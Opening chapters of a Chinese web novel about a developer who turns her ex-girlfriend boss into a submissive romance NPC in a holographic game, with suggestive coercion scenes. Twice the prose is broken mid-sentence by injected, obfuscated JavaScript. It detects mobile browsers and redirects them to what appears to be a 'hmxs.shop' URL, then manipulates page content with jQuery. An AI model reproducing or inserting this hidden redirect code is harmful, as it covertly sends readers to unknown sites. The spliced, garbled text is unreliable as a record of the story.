《把清冷上司做成恋爱npc后她真香了》
1. 颤抖吧
第1章
“游戏里的现实就是现实,我们只为最真挚的感情付费。”
“你想要的一切,都可以在这里进行模拟,苦恼PlanA或者PlanB?请请订购模拟游戏全息仓进行推演,我们将竭诚为您服务,为您终结选择困难……”
秦舒禾醒来时,旁边的全息舱还亮着,屏幕上正在循环播放广告语。
这是她的项目移交给朝旭集团后拿到的全新产品,不得不说沉浸感确实厉害多了。朝旭的营销方式一流,虽然现在产品和游戏还在内测阶段,城市的广告牌上就已经开始了铺天盖地的广告植入。
不愧是行业第一,确实财大气粗。
秦舒禾看着修的极具未来科技感的公司大楼,在心底发出了一声实打实的感慨。
她踩上了第一节台阶。
昨晚,秦舒禾已经在全息游戏里让知名的服装师npc让自己参考过着装,选出了一套咖啡的职业套装。
大方,知性,光彩照人。
服装师说,这能中和她有攻击性的浓颜。
微卷的波浪卷发披在肩头,能精致到每一根头发丝。
当然,她也选了一套金色系穿上就能去走红毯的裙子,模拟后的结果是:【你穿上这套裙子之后,因过分招摇耀眼,给新来的老板带来了不好的印象,她对你感到微妙。】
【是否开启场景?】
OK。fine。
她选否,然后穿了安全的PlanA。
秦舒禾经过楼下的仪容镜,稍作停留。
还是美的。
这张脸哪怕已经因为测试而熬了两个夜晚,也因为天生的底气而明艳动人。
新老板并非颜控看来属实,竟然能对着这样一张脸感到微妙,秦舒禾啧了一声。
才刚进门,就有人事部的小姑娘红着脸递来她的工作卡:“秦总监,这是后来给您新做的工作卡,有30楼全息研发中心的所有权限。”
“谢了。”秦舒禾接过工牌,眼睛笑弯,“改天请你喝奶茶。对了,新上任的老板来了?”
小姑娘差点捧心晕倒,有什么都往外倒:“来了来了!其实顾总本来就是我们的大老板。
“不过给你提个醒……今天一早研发中心的气氛不太好,总监你小心点。”
秦舒禾笑着道谢,什么总不总的没当回事。
上周她刚入职,公司上层就有了新的变动,起初面试将她招进来的总裁调走了,说是要来一位新总裁。
朝旭集团待遇和地位都是业界的顶级,秦舒禾对自己的年薪三百万很满意。
小道消息说新总裁是个只看能力的工作狂魔,秦舒禾并不在意,老板是谁都没差,她只需要那三百万的年薪和分红不变就行。
她这次回国,带着自己的模拟游戏器进了朝旭,刚好和全息舱算是强强联合,足够她有资本坐上这个位置。
就算老板要发脾气,和自己能有什么仇什么怨?
这么想着,秦舒禾脸上带着笑容,精神奕奕地推开了总裁办公室的门。
伸手不打笑脸人吧。
下一刻,秦舒禾在看清皮质老板椅上坐着的那个女人时,笑容微僵。
办公室的一面光洁墙上正在投放全息广告,正是自己所做的模拟器游戏。
冷调的光影淡淡淌在女人的精致五官上,露出了那张成熟出挑的脸。浓密的黑发垂顺有光泽,衬得眉眼疏冷。
一个人的身上,竟然能把冷淡和勾人两种气质糅合的这么好。
祝筠放下手中的笔,手指纤细,莹润的像是柔软的玉石。
抬起的黑眸平静地看她,像看见了个陌生人。
“好久不见,秦总监。”祝筠的视线径直落在秦舒禾的身上,声音清凌凌,又淡,“别来无恙。”
秦舒禾的心沉下,所有的好心情在看见祝筠之后一扫而空。
和自己什么仇什么怨?
当年是自己主动对祝筠提了分手这个程度,不至于让祝筠看不惯自己吧?
她现在明白,为什么在昨晚的模拟中会出现老板对她初印象不好,感到微妙这一结果了。
嗯,现在自己也挺微妙。
三年没见,自认自己混的挺好,可当年甩掉的前任成了自己上司。
不要太离谱。
“祝总好。”秦舒禾很快恢复如常,既然祝筠没有装作和自己素不相识,她也不必纠结,“我没想到这么巧,朝旭的总裁竟然是你。”
祝筠的视线在秦舒禾那双琥珀色的瞳仁里停留了一瞬,只是点点头,“我们只谈公事。”
hello,我有要和你谈私事吗祝总?
而且我们之间哪有私事!
秦舒禾现在也有了随意掀桌的资本,自认早就变得成熟稳重了,却没想到再见到祝筠,还会被这女人三言两语搅出一股无名火。
显得祝筠好像有多冷静似的。
不对,不用显得。
祝筠就是。
绝对的理智、冷静,就连自己提分手,她都能坐下来谈一场分手后对自己的利弊分析。
别的前任见面可能还考虑一下什么旧情复燃,可祝筠不会。
秦舒禾确认无疑,就算祝筠早就知道是自己入职,也会在处于公司前景考虑高薪聘请自己。
“昨天的批量测试里,模拟器输数据出现了bug。”祝筠点了点桌上的文件,“系统在链接记忆区时容易出错,载入负面情绪过多,容易生成不符合期待的人物npc和剧情。”
简而言之,游戏生成的虚构世界不够梦幻了。
秦舒禾制作的这款模拟器游戏内嵌进全息舱后,在读取游戏玩家的潜意识和记忆后,可以生成玩家想要的场景。
既可以模拟人生,又可以检验过往和未来如何选择会更好,玩过便能明白。
现在人们的情感需求很高。所以一般更多用来模拟恋爱。游戏内内置的恋爱npc不是一般的多,随便在哪个场景里看见的npc玩家都能上去发展一把。
玩家若是想看看自己和自己喜欢的学姐是否有成功几率,可以载入记忆后自己搓出一个长得一模一样的npc来进行剧情模拟。
当然,在游戏模拟中,所发生的一切剧情都是单向的。
对方毫不知情,除非对方在那一刻也载入了自己的意识,开启了双向模拟。
只有小道消息说朝旭公司已经在着手开发双向模拟的功能,目前还未公开。
出于保护玩家来考虑,除非玩家自己勾选,游戏更默认偏向模拟正向场景,误差要控制在3%以内。
而昨天的测试的报告里,误差率升到了5%。
游戏的模拟数据出了错,好比一位已经绝望边缘的玩家,又模拟出了【哇,你的人生果真太失败了,模拟结果建议您接受自己的失败,是否进行重开场景模拟?】的结果。
这不是开发公司想要的。
顾客在模拟的那一刻其实心中早有选择,他们希望重来一次,改变人生,要走向人生巅峰,幸福美满。
秦舒禾抬头看着屏幕上出现的那些问题和失败案例,没接那份文件,只是盯着祝筠那扣得一丝不苟的领口看。
秀场的当季最新款,那场秀秦舒禾甚至看了现场。
模特展示的时候开了四颗扣子,露着锁骨和线条,是个深V的效果。
呵。
“控制的太精准,那就失去了真实性,公司定下的目标之一就是让玩家体会到游戏里的真实就是真实。”秦舒禾说,“有些人重选还是会失败,会分手,会经历离开;是他们自己又抱着侥幸心理选了一样的选项才会又失败。”
祝筠淡声道:“抱歉,秦总监,朝旭不需要太多理念,而是控制好错误,创造更多的利益。”
秦舒禾那股火更窜上来了点。
祝筠这臭毛病一点没改。
她忍着郁闷抽走了那份文件:“有什么修改意见您提。”
祝筠:“你是开发人员,得亲自去测验固定场景的剧情,找出漏洞并修正。”
“……”
无言以对。
游戏里的固定场景,也就是玩家们进入后可以自由选择的副本,体量巨大啊!
你是想把三百万的年薪当成三千万用吗?
秦舒禾心情很不好。
出总裁办公室的时候,她觉得自己得周一综合症了,就是因为祝筠。
以后只要一想到周一上班就要看见祝筠,她会从这周一就开始忧愁。
直到下班,秦舒禾都没再和祝筠碰面,到点就打卡走了。
她回家直接打开了全息舱。
上班的时候搞游戏是工作,下班的时候搞游戏纯粹是为了放松。
她要当皇帝!
不过她的全息舱和售卖给普通玩家的不一样,她拥有管理员权限,可以在游戏里进行各种修改,也能连接到主服务器,反复进行各种测试回档。
进入舱内,秦舒禾的眼前自动浮现出光屏。
屏幕上的游戏玩家形象和她真实的现实形象无异。
“已连接您的全息舱,载入记忆中。载入世界中,您好,管理员001号,是否启用权限?检测到您的腹中空空,可以吃完饭再玩游戏哦,不然有可能增加饥饿属性。”
“可回溯昨夜场景:【老板看不惯你的衣着,对你感到微妙。】”
秦舒禾在头盔里磨牙:“记忆库更新了,载入祝筠,把她变成陪我测试的固定npc。”
“提取成功,真是一位让机器都震惊的冷美人呢!是否有需要修改的参数。”
眼前已经出现了祝筠的模样,和今天在办公室里看见的一样。
后面的人物属性栏里,理智一栏最高,几乎满值。
不懂了。她觉得引导系统的说话方式真是太欠了,是公司里谁的主意?
秦舒禾伸手在祝筠的脸上捏了一下。
“去掉一半理智。”秦舒禾的手指点了两下,“增加
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004678|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
设定【极度依恋】【任人摆布】【言听计从】”
参数改变后,原本还是一副谁也瞧不上高冷模样的祝筠,眼神逐渐变得迷茫而柔软,甚至带上一丝可怜巴巴。
像误入狼口的温顺小兔。
秦舒禾顿了顿,面对着面前的祝筠,实在无法想象祝筠对其他人这幅模样。
“再加上【仅对管理员001】,进入固定场景兰陵高中的体育课。”
【即将进入场景模拟,正在检测记忆,您的高中遗憾太多了,例:从来没有围堵过一次祝筠、从来没有在八百米体侧中得过倒数第二(您总是倒数第一),从来没有在祝筠被人搭讪的时候冲上前去解围、从来没有为爱情拼过命……】
果然是有bug了,她以前进来的时候不这样。
肯定是因为今天被祝筠刺激到的原因,激发出了潜意识里忘掉的很多东西,才会被游戏系统检测到。
秦舒禾沉着脸点了忽略提示。
【好的,场景连接成功,祝您这次弥补遗憾成功。】
秦舒禾的眼前出现了模拟之前的剧情。
【十七岁的你是各大高中远近闻名的校霸,你逃课、不学习、年轻气盛又自命不凡,认为自己十七岁就是七十岁的样子。实则不然。】
【你荒废了学习,隐藏着心底自卑的秘密。是的,你竟然喜欢那个常年第一的天之娇女祝筠!】
【你在体育课睡觉被祝筠抓住了,你有起床气,将一个排球砸在了祝筠的脸上。祝筠告诉了教导主任,你被通报批评。】
【你从此一蹶不振,祝筠在整个高中对你说的最长的句子就是:你就为了这么点事放弃学习?】
【高考后,你落榜了,开始进厂打工。经过六年社会的打磨,你成为了工厂主管,也就比女工多上了一层而已。恭喜你,终于有脸参与同学聚会了,可是你发现没有人是永远十七岁的样子,除了祝筠。】
【祝筠现在更厉害了,所有的天之娇女都在她的手底下打工。】
【你不敢和祝筠说一句话,光顾着喝了很多酒,在同学们互相恭维的气氛中格格不入,于是你出来透气,却碰见了祝筠。】
【她冷淡地问你要不要和自己试一试,你认为她羞辱你,愤怒地拒绝了。】
【你也不想这么软弱地成为人妻吧?一切都要从十七岁重新开始,请从体育课上做出不同的选择。】
【检测到您空腹,随机生成属性[饥饿(对了,说到饿……怎么能不吃点炒点饭呢?厨子在哪里?我就吃一勺。)]】
身体陷入松弛的沉睡,意识却在游戏世界分外活跃。
秦舒禾睁开了眼睛,被灰尘的味道呛咳了一下,随即感觉到自己面前的人也跟着自己的动作颤抖了一下。
篮球和排球随意地散落在脚边,秦舒禾认出了这里是自己记忆中的器材室,她正用一只手撑在墙壁上。
很经典的校霸堵人姿势。
祝筠穿着一身校服,怀里抱着几本书,被自己的这个动作围在墙角,长睫正在轻颤,那双黑眸不再清冷,而是带着困惑和局促。
“……舒禾,你这是干什么?”
首先,不能再给祝筠任何能去告状的机会。
秦舒禾一想到今天上午祝筠在办公室里那冷漠地把一份报告文件交给自己的模样,脑子里就全是折腾人的点子。
现实中她对老板唯唯诺诺,游戏里势必让老板成为自己的娇美人妻。
“祝同学,你这么聪明,怎么会猜不到我想干什么?”秦舒禾伸手去轻捏住祝筠的下巴,琥珀色的眼睛凑得更近,里面的狡黠分明。
祝筠的脸上不知是急的,还是恼意,饱满苍白的肌肤上早就上涌淡淡的绯色。
秦舒禾看着祝筠这样就来劲。
参数改的刚刚好,祝筠似乎被自己吓到,眼尾都染上了红,看着就让她更想欺负。
这次她不会再用排球砸了祝筠什么也不说了。
秦舒禾上扬着唇角,语气骄纵又恶劣:“现在给我写一封情书出来,再亲我一口吧?不然别想我放你走。”
她故意将手指压在祝筠柔软的唇上压了一下。
与此同时,在市中心的高级公寓里。
祝筠也在全息舱内。
而她才刚上线,系统雀跃的提示音就响了起来。
【欢迎您!管理员002号,默认启用权限跟随管理员001号,正在为您隐身同步至对方场景中。】
【祝您体验愉快,请为001号重启的青春岁月颤抖吧——】
祝筠猛地睁开眼,看见的就是秦舒禾那张漂亮熟悉的脸。
哪怕是十七岁的秦舒禾,对祝筠而言,和今天上午看到的并无二致。不过就是稚嫩与意气更多一些,不知收敛,所以比长大后的秦舒禾更加盛气凌人。
就是态度很不一样。
上午在办公室里看自己像看见死去的前任突然诈尸一样,现在却说:
“亲我一口,不然别想走。”
2. 仰起头
依据秦舒禾的记忆生成的副本?
被秦舒禾压过来的那一瞬,祝筠试图伸手去推开她。
失败了。
她的身体并不听自己的使唤,柔软的不可思议。就连说话的声音也像一只受伤后像小声央求想要个家的小猫。
“秦同学。”她听见自己说,“你不能这样……”
你也不能这样,这说话的声音不是你。祝筠在心里对自己说。
她感觉这气氛不太妙,当机立断地选择退出系统。
【您是跟随状态,目前人物状态良好,001号并未填补遗憾,兰陵高中的青春等待你去体验,退出失败唷。】
祝筠深吸了一口气,不知道这是否算是个bug。秦舒禾灼热的目光让她难以招架,这还是祝筠第一次见到秦舒禾如此露骨的眼神。
也是第一次从秦舒禾的嘴里听到如此直接的要求。
她现在在秦舒禾构建的世界里,除非秦舒禾退出,她无法中途离开。
想要脱离,只能陪着秦舒禾继续演下去,或是等到某个符合她身份的剧情点出现。
显然,秦舒禾根本不知道自己已经被拉入了她的世界里。
她是管理员002号,默认权限就是跟随管理员001号。但她还没来得及告知秦舒禾这一件事。
现在,祝筠只能眼睁睁地看着自己在被秦舒禾调戏,还不能做出正确的反应。
更讨厌的是,与现实无异的世界与清晰的感官体验,让她感受到自己的心跳如此快,发红的脸颊,发烫的耳朵都是如此的真实。
她真想对秦舒禾说:好久不见,舒禾。
……
秦舒禾盯着眼前好像要哭出来的人,另一手在祝筠拉到最顶上的校服拉链上拨来拨去。
轻又碎的声音,明摆着的轻佻逗弄让祝筠脸上的温度越来越高。
“不亲啊?”秦舒禾别过脸遗憾地啧了一声,将一支笔塞进祝筠的手里,“那就写情书咯,要八百字的那种。祝同学,你要写快点了,不然赶不上下节课。”
祝筠捏着水性笔的指尖泛白,就伏在旁边的柜台上。
秦舒禾知道祝筠现在怕她,还故意没个正行地歪过去,撑着自己的一边脸颊:“快点啊秦同学,我的耐心有限。”
此刻秦舒禾在自己的界面上点了两下,将【自由探索】改成了目标:【拿到祝筠心甘情愿为我写的一封情书才毕业】
短期内似乎是不可能了。
在已经载入了记忆的模拟场景里,可以自由探索,也可以设定自己想要的目标。
系统会让玩家逐步靠近那个目标,既有体验感,又有成就感。
兰陵中学是她设计的第一个副本,起因也很简单,她的中学时代过得实在太中规中矩。
就如系统所说,她的遗憾颇多。
怎么学都达不到上游,争抢不过三好学生在老师们心中的位置。成绩掉落的时候,再差也差不到倒数第一,没有那些总是惹是生非的学生让老师头痛。
高中的时候她与祝筠就是同校,可从未有过多交集,她也确实听过祝筠对自己说过那句话。
只不过场景不一样。
游戏里的大场景是固定的,但是根据玩家的记忆所生成的小事件各有不同。记忆就像星星碎片散落一地,需要捡拾拼接,才能达成最终的效果。
秦舒禾盯着祝筠正在刷刷刷写情书的手,不由得发了一会儿呆。
前任突然又出现在自己面前就是这一点不好,看着以前有过亲密接触的地方总是会浮想联翩。
她在外面过了这些年,也不再是大学时老跟在祝筠屁股后面的样子了。
终于也变成了那种能够掌控自己生活和节奏的大人,她还以为自己或许哪一天再和祝筠相见是在顶峰。
谁曾想到祝筠到了顶峰的顶峰,现在还是她老板。
而且还是那么的臭屁。
她不喜欢祝筠总是那么的冷淡理性。
还好,在自己的游戏世界里,她能肆意地将祝筠拉下神坛,看她慌乱无措,甚至能逼她写情书,让她急得哭给自己看。
好阴暗但好爽,她先爽一下。
终于,祝筠停了笔。
她脸上的表情像是完成了什么艰巨的任务,有些犹豫又僵硬地把那张已经有些发皱的纸张递到了秦舒禾的面前。
秦舒禾懒洋洋地将那封信接过,视线始终落在祝筠的紧绷的唇峰上,丝毫不掩饰的露骨勾人。
看上去真的很好亲。
秦舒禾你醒一醒啊!你是来游戏里当皇帝折腾前任的!
她原以为自己会看到什么“其实在第一眼看见你的时候,我就注意到了你”这种老套的情话。
但真正看清后,秦舒禾没绷住笑出了声。
纸上一堆鬼画符,再漂亮的字迹因为急切而团在一起之后都令人无法辨认。
说是情书……不如说这是一张写满公式的天书?
数理化各科的公式都有,密密麻麻的变成了秦舒禾看不懂的样子。她只能看得懂后面的:解。
她要的八百字小作文变成了一堆公式,秦舒禾人都要气笑了。不愧是学霸,连写情书都是她看不明白的样子。
换句话说,就算祝筠现在拐着弯的骂她,她也照样不懂。
秦舒禾:“……”
这真的不是祝筠本人吗?
明明已经改了参数了啊,这才是真的ooc好吗。
以前祝筠读高中的时候就是这样,高中的时候学习进度早已遥遥领先,解题的那些公式人家都看不懂。
秦舒禾看下去,忽略了解之后的步骤,跳到最后。
最后没写答案。
“祝同学,你给我解释一下?”
祝筠虽红着脸,但已经控制好表情:“情书是表达感情的一种方式,而感情的诞生无法解释。”
“你不如直接对我说,我让你写情书这件事无解。”秦舒禾轻哼,将那张纸叠好放进了自己的衣服口袋里。
她直接往前跨了一步。
两人的记忆力瞬间拉近到危险范围之内,秦舒禾甚至能感觉到祝筠在瞬间屏住的呼吸。
她又把这只受惊的小猫逼到了墙角,背部死死地贴着器材室冰凉的墙壁。
几个碍事的排球,被秦舒禾随意地踢到一边。
“是否无解,你说了不算。”秦舒禾凑近到祝筠的耳边,故意放低了声音,温热气息钻进了祝筠敏感的耳廓里,秦舒禾很清楚祝筠身上有哪些敏感点。
“光有理论怎么行?祝同学,我们要讲究实际情况。”
“你……”祝筠的声音在发抖,她实在痒的不行,想偏头躲过去,却被秦舒禾直接抬手贴住了脸。
“别躲,难道你还怕我?”
这么近的距离,让秦舒禾能好好看清祝筠的同时,也闻到了祝筠身上的气息。十七岁的祝筠身上不是皂香,是一种说不出名字的冷调的木质香,秦舒禾数度悄悄地细嗅过,她在成年之后寻到了相似的香味,却始终觉得没有祝筠的身上特殊。
后来才渐渐地明白,那些细密的香氛落在祝筠的体温之上,散发的气味才会令她着迷。
祝筠颤着声:“祝同学,快下课了,我情书也写完了,你放我走。”
压下心中的悸动,秦舒禾保持着脸上玩世不恭的模样,食指的指尖压在祝筠的肩膀上,顺着往下挪,慢条斯理地问:“我什么时候说过写完情书一定放你走?”
秦舒禾随手丢了个球,梆梆作响。
“秦舒禾,别闹,这是学校,你这样是不对……”
话音未落,走廊外忽然传来一道中气十足的声音:“哪个班的?谁还在器材室里?”
听见了黄主任的声音,祝筠反而没好受多少,脸上的血色一下压下去几分。
秦舒禾懂的很,祝筠作为学校优等生的表率,要是被教导主任抓到和自己在器材室里和自己暧昧不清,那真是天塌了。
还没等祝筠反抗,秦舒禾就一把扣住了祝筠的手腕,带着人闪身躲进了角落有一人高的柜子里。
柜子是空的,像个衣柜改造成了放杂物的地方,但此刻里面只有一个倒置的高木桶。
进去了祝筠一个人已经不易,紧接着秦舒禾也挤了进来,还反手带上了柜门。
太挤了。
两人的身体被迫严丝合缝地贴在一起,秦舒禾甚至能感觉到祝筠的校服拉链正硬邦邦地抵着自己的锁骨。
祝筠避无可避,最后跌坐在桶面上。
“我要出去。”祝筠压抑着呼吸的频次,声音细如蚊呐,身体已经完全僵住,坐在木桶上一动也不敢动。
她的手无助地垂在两边,想推开秦舒禾,又害怕逼仄而黑暗的环境里自己的手会碰错地方,而迟迟不敢动作。
“出去就要被黄主任抓住。” 秦舒禾直接将祝筠圈进自己的怀里,声音在耳边摩挲,“你也不想和我一起在升旗仪式底下做检讨吧?”
祝筠闭了闭眼,身体在不受控地发抖。
原来秦舒禾高中的时候是喜欢这样吗?
狭窄的空间里,温度在上升,秦舒禾和那令自己着迷的气味靠得很近。
她曾以为自己已经完全摆脱了这种痴迷,然后这戒断反应竟来的这么迟。在这个自己亲手构建的场景里,她感觉自己如同瘾君子。
生而为前任,她没觉得抱歉。
所以秦舒禾更过分地往前贴了贴,膝盖顶开了祝筠并拢的双腿,毫不客气地侵占了空间。
祝筠闷哼了一声,双手下意识地要将秦舒禾推开,可秦舒禾紧接着开口:“别动……黄主任还没走远。”
她伸手轻轻地捂住了祝筠的唇。
咔哒。
器材室的门被打开了,从柜子的缝隙里,隐约看见有人走动到这里。
秦舒禾感受到祝筠的双手正紧紧地攀附着自己的肩膀,昏暗的空间里气息交融,秦舒禾低头看去,受惊的祝筠缩在角落里,平时都是高高在上的淡漠双眸现在湿润异常,仿佛随时都能哭出来。
这很难再做个好人,甚至很难做人。
明知教导主任还在外面检查,秦舒禾却故意用气音在祝筠的耳边说:“很怕吗?”
祝筠咬着下唇点头。
“那你求我。”秦舒禾的手在祝筠的背后安抚地拍了拍,指尖顺着她紧绷的脊背线条往下滑,隔着薄薄的校服衬衫,停留在了祝筠的腰窝处。
祝筠浑身猛地一颤,整个人差点直接滑下去,全靠秦舒禾用手勾着她的腰才勉强坐稳。
“秦同学,我说过你不能这样对我,我……”祝筠的声音因羞恼而染上薄怒,可声音却气的没有任何威慑力,不似娇嗔不似拒绝。
“你怎样?要不要骂我?”秦舒禾轻笑一声,手指灵活地动起来,捏住了祝筠的校服拉链拽了拽,拉链开了小口,“谁让你写不出让我满意的情书,这就是后果。”
兰陵中学的校服款式众多,祝筠今天穿的是一件带拉链的校服衬衫和中裙。这款的衬衫拉链只有半截,全部拉开也只会到胸口的位置。
巧了,这让秦舒禾想到了祝筠今天上班的时候穿的那件秀场款衬衫。
也是把一个深V拉的严严实实。
是的,她看不顺眼。
祝筠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004679|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
憋着气慌乱地去捂住领口,却被秦舒禾单手握住了双腕,举过了头顶,死死地压在柜壁上。
“小声点,你也不想被黄主任发现吧?他过来了。”秦舒禾故意吓她。
果然,脚步声越来越近,似乎停留在了柜子的面前在检查。
祝筠瞬间不敢动,被迫仰起头,任由着秦舒禾的呼吸一遍又一遍地拂过自己脆弱的颈侧。
秦舒禾已经适应了里面的昏暗,由此也看清了祝筠那一大片细腻苍白的肌肤,以及若隐若现的深凹锁骨。
祝筠的锁骨最是漂亮,身为前任,秦舒禾是最有发言权的人。
她眨了眨眼睛,低头,用牙齿咬住了拉链。
没有直接触碰,秦舒禾只是用那个刚才已经把玩许久的拉链头叼住,轻蹭过祝筠微微凸起的锁骨。
舌尖带来的细微湿热近在咫尺,可是替代它的却是拉链。
冰凉的金属划过薄薄的皮肤时带来的刺激感引发了一阵强烈的痛感,祝筠的头越发后仰,始终打转的泪水在瞬间下来。
迅速传遍全身的细小电流刺激的四肢酸软,也让她的大脑一片空白,祝筠想要叫出来,却死死地咬住了嘴唇,不敢发出一丝的声音。
秦舒禾,现在真的变得很坏。
这只是器材室里最不起眼的一个柜子,可是柜门之外是随时会发现她们的老师,秦舒禾怎么能在这里,在这个地方。
秦舒禾不再用拉链折腾人,也放开了祝筠的手,她感觉到了祝筠在哭。
虽然没有声音,但身体却抖得厉害。可能是想要离开的,可又因为这种刺激本能地往自己怀里靠拢。
秦舒禾勉强蹲了下来,微微仰起头注视着祝筠。
“写不出情书,那就用你的身体记住我。”秦舒禾伸出手擦去了祝筠眼睛里涌出的泪水,脚步声逐渐走远,接着是关门声。
教导主任离开了。
可秦舒禾并没有出去,她挑了挑眉,想去给祝筠的锁骨上咬上一个痕迹时,祝筠终于得以喘息,一把将秦舒禾推开。
不仅如此,祝筠还跌跌撞撞地打开柜门跑了。
瞬间,秦舒禾的眼前出现了一个璀璨的烟花,屏幕变白,显示出了系统提示。
【很遗憾地告诉您,您此次的模拟目标[拿到祝筠心甘情愿为我写一封情书才毕业]未完成。】
【十七岁的你是各大高中远近闻名的校霸,你逃课、不学习、年轻气盛又自命不凡,认为自己十七岁就是七十岁的样子,实则不然。】
【你荒废了学习,隐藏着心底自卑的秘密。是的,你竟然喜欢哪个常年第一的天之骄女祝筠!】
【你在体育课睡觉被祝筠抓住了,她是来劝你回去上课的,你却把她压在墙角逼她写情书,因为看不懂而恼羞成怒,故意在柜子里放纵自己的私心和祝筠做惩罚游戏,祝筠的气息令你鬼迷心窍,你控制不住地想吻她。】
【祝筠一把推开你跑了出去,并把你逃课的事告诉了教导主任,你被通报批评。】
【你从此一蹶不振,祝筠在整个高中对你说过最长的句子就是:秦舒禾,你觉得我有可能会喜欢上你这种人吗?】
【高考后,你落榜了,开始进厂打工。经过四年社会的打磨,你终于意识到打工是没有出路的,你提着一个月工资买来的礼品敲开了工厂老板的家门,却碰见了祝筠。】
【这时候上大三的祝筠早已创业成功,连你的老板都对她卑躬屈膝,你尴尬的不知所措,放下礼品就准备同手同脚的离开,连路上背好的说辞都忘了。】
【你连晚饭都没吃,在公交站台边思考人生,想着祝筠会不会将高中的事记到现在。】
【下雨了,祝筠开着车出现在你的面前,她冷淡地问你要不要和自己试一试,你认为她在羞辱你,带着自己脆弱的自尊心在雨里边跑边喊:祝筠,你觉得我可能会喜欢你这种人吗?】
【哎,你也不想这么软弱地成为人妻吧?一切都要从十七岁的选择重新开始,差之毫厘失之千里,请从体育课上做出不同的选择。】
【随机属性[饥饿(一名好厨子就是要做饭做饭)继续生效中]】
【测试模式已记录,失败一次。是否开始回溯?】
【系统提醒:管理员001号,您可以去吃个饭再回溯,就不会生成色迷迷属性,总是想要和喜欢的人贴贴啦,万事不可操之过急,此乃动词。】
什么啊!
秦舒禾气得一把摘下了自己的头盔,从全息舱里弹坐了起来。
未达成结局也是坏结局。
bug,绝对是真的出bug了。
误差率真的增加了?
还有她那不是鬼迷心窍不是恼羞成怒好吗!
关闭全息舱之前,外放的系统声音出现:“晚安管理员001号,检测到您的心率130,血压160/92mmHg处于非正常状态,如您现在舌尖发麻,是因为模拟中的您咬了祝筠的拉链而触发生物电导致,确认完毕后如还需帮助请对我说拨打120,您还好吗?”
她目前不想回味那个场景了,秦舒禾今天再一次觉得朝旭安装进去的这个系统真的很烦。
她开口:“打给罪人祝筠。”
全息舱没反应。
公寓里,另一人也从全息舱里同时脱离。
祝筠起身的时候还在大口地喘息着,心跳快得仿佛要从胸腔里跳出来。
她有些狼狈地抬起手,抚上了自己的脖颈下方。
在锁骨的位置,被温热的气息侵略过的感受仍旧明显,她紧闭上眼睛,甚至无法去拉开领口。
也不敢再继续细想下去。
3. 红痕
第二天,秦舒禾往自己的眼睛底下多上了一层遮瑕。
她晚上真的气得没睡好,关了全息舱之后冷静了十分钟,点了份外卖吃饱了,想要继续打开游戏去掉那个属性再模拟一次来着。
一看时间十二点半。
秦舒禾暂时没有猝死的打算,只好将副本进度记录了下来,在测试结果的表格里标注一下,躺下,任由自己脑内放小电影许久,才糊涂睡去。
祝筠,可真行啊。
都那个时候了还能把自己推开,从模拟的结果来看,是因为自己操之过急,违背了她和祝筠之间的关系进度。
见鬼了。她亲都还没亲到,这还算快?
不过嘛,在校园场景里搞十八禁的东西,好像是需要一些耐心。
秦舒禾梦里都在啃鸭脖。
外加不停地看见祝筠在自己的面前哭,说自己是坏蛋,混蛋,笨蛋……等。
什么蛋都做了。
她就知道自己这是在做梦了,祝筠才不会在自己的面前哭,从来没有过一次。
再次来到公司门口,秦舒禾的心情已经没有第一天来上班时那样的轻快了。
还好祝筠不是丧心病狂到极点的老板。
模拟器游戏正在为期三个月的邀请内侧中,之后还有一个月的公测,所以祝筠给秦舒禾测试副本的时间很够,只要求她在每周二的例会上汇报一次进度即可。
不巧,今天是周二。
秦舒禾不再穿昨天那套温柔知性款,而是穿了一身御气的黑色。深V的衬衫,短裙裹着腰腹之下饱满的曲线,走动时一抹暗色在大衣之下若隐若现,高跟靴的鞋头很尖,拉长了她本来就已经很修长的双腿。
现在已是冬季,秦舒禾却好似一点也不怕冷似的,走路带风,头发也是慵懒的大卷,跟随着她的动作在冷空气里摇曳。
祝筠怎么都不肯穿的深V,她现在就是爱穿。
秦舒禾恨不得一直肆意张扬,将自己以前没能做过的全弥补过来。
当秦舒禾看见电梯深处里站着的祝筠时,就感觉更不巧了。
呵。明明有总裁专用电梯不坐,来和大家挤个什么劲,为了平易近人吗?那还冷着那一张臭脸。
秦舒禾手里捏着一杯冰美式,目不斜视地踏入轿厢,冰块叮咣脆响。她站在了按键面前,离祝筠隔着最远的距离。
她没和祝筠打招呼,不想打,一见到祝筠的脸,昨晚上一周目BE的结局就浮现在她的面前,秦舒禾仿佛看见了祝筠一遍又一遍地用高高在上的语气对自己说:“你要不要和我试试?”
啊晕。真的。
她一直在想自己要不要直接去程序部让人改个数据,直接换成是自己来对祝筠说这句话。
好伤人啊祝筠,可恶。
一想到当年在一起之前祝筠是真的对自己说过这句话,就更伤心了。
轿厢内的墙壁上都换成了镜面,哪怕秦舒禾自己不想,也能清楚地看见后方站着的祝筠。
祝筠穿了一套墨绿色的高定西装,很复古,却不老派,剪裁漂亮的让人挑不出错,就适合穿在如此优秀的身体上。
秦舒禾承认自己刚才因为私人恩怨而对祝筠心里有点大声了。
真是冷脸都美的人,让人想起文艺复兴时的优雅油画。
内搭的那件真丝衬衫泛着珍珠般的色泽,扣子还是这么的严防死守,令真正的珍珠蒙尘。
秦舒禾这么看着,不由得感觉牙有些痒,昨天在柜子里她叼着拉链头逗祝筠那会儿,祝筠可不是这么冷淡的。
祝筠在低头看手机,没看她。
